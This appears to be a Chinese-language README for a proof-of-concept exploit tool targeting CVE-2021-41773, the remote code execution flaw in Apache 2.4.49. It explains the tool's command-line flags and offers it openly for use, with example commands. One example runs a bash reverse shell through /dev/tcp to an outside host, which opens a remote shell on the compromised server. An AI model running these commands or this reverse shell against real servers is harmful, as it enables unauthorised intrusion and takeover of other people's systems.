针对 CVE-2021-41773 的 PoC,因为我发现很多利用方式过于复杂,而这个工具可以直接实现远程代码执行。
只需使用 -i 指定运行存在漏洞的 Apache 2.4.49 服务器的 IP 地址,并使用 -c 指定所需的系统命令。如果 Web 服务器未运行在端口 80 上,我们可以使用 -p 指定它;如果 Web 服务器使用 HTTPs,则需要使用 --use-https 标志。
$ python3 CVE-2021-41773.py -i 10.10.10.10 -c 'id'
$ python3 CVE-2021-41773.py -i example.com -p 8080 -c '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.10.10/9001 0>&1"'
$ python3 CVE-2021-41773.py -i 20.20.20.20 -p 443 --use-https -c 'whoami'
请自行承担使用风险 (:
保持道德。